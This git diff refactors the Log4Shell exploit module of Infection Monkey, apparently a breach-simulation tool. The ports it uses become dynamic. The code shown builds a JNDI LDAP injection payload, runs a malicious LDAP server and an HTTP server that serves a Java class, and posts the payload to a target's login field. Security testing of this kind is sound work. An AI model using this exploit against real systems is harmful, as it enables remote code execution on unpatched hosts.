diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index 3d95e92d7..a8af38401 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -19,6 +19,7 @@ from infection_monkey.model import (
     MONKEY_ARG,
     VictimHost,
 )
+from infection_monkey.network.info import get_free_tcp_port
 from infection_monkey.network.tools import get_interface_to_target
 from infection_monkey.utils.commands import build_monkey_commandline
 from infection_monkey.utils.monkey_dir import get_monkey_dir_path
@@ -30,13 +31,13 @@ class Log4ShellExploiter(WebRCE):
     _TARGET_OS_TYPE = ["linux", "windows"]
     EXPLOIT_TYPE = ExploitType.VULNERABILITY
     _EXPLOITED_SERVICE = "Log4j"
-    LDAP_PORT = 8080
-    CLASS_HTTP_SERVER_PORT = 1337
     DOWNLOAD_TIMEOUT = 15
 
     def __init__(self, host: VictimHost):
         super().__init__(host)
         self._client = None
+        self.ldap_port = get_free_tcp_port()
+        self.class_http_server_port = get_free_tcp_port()
 
     def exploit_host(self):
 
@@ -53,15 +54,13 @@ class Log4ShellExploiter(WebRCE):
         java_class = self.build_java_class(command)
         class_http_server_ip = get_interface_to_target(self.host.ip_addr)
 
-        java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread(
-            class_http_server_ip, java_class
-        )
+        java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class)
         java_class_http_thread.start()
 
         ldap = LDAPExploitServer(
-            ldap_server_port=Log4ShellExploiter.LDAP_PORT,
+            ldap_server_port=self.ldap_port,
             http_server_ip=class_http_server_ip,
-            http_server_port=self.CLASS_HTTP_SERVER_PORT,
+            http_server_port=self.class_http_server_port,
             storage_dir=get_monkey_dir_path(),
         )
         ldap_thread = ldap.get_run_thread()
@@ -86,7 +85,7 @@ class Log4ShellExploiter(WebRCE):
 
     def build_ldap_payload(self):
         interface_ip = get_interface_to_target(self.host.ip_addr)
-        return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}"
+        return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}"
 
     # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command
     def build_command(self, path, http_path):
@@ -133,20 +132,15 @@ class Log4ShellExploiter(WebRCE):
             self.wfile.write(self.java_class)
             Log4ShellExploiter.HTTPHandler.class_downloaded = True
 
-    @staticmethod
-    def _run_class_http_server(ip):
-
-        server = http.server.HTTPServer(
-            (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler
-        )
+    def _run_class_http_server(self, ip):
+        server = http.server.HTTPServer((ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler)
         while (
             not Log4ShellExploiter.HTTPHandler.class_downloaded
             and not Log4ShellExploiter.HTTPHandler.stop
         ):
             server.handle_request()
 
-    @staticmethod
-    def get_java_class_server_thread(ip: str, java_class: bytes):
+    def get_java_class_server_thread(self, ip: str, java_class: bytes):
         Log4ShellExploiter.HTTPHandler.java_class = java_class
 
-        return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip])
+        return Thread(target=self._run_class_http_server, args=[ip])
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py
index 9743391a0..6ac59eb2b 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py
@@ -13,9 +13,9 @@ def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
     payload = {"uname": payload, "password": "m0nk3y"}
     for url in urls:
         try:
-            requests.post(url, data=payload, timeout=5, verify=False)  # noqa DUO123
-        except requests.ReadTimeout:
-            logger.debug("Couldn't send request to the vulnerable machine")
+            resp = requests.post(url, data=payload, timeout=5, verify=False)  # noqa DUO123
+        except requests.ReadTimeout as e:
+            logger.debug(f"Log4shell request failed {e}")
 
 
 def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: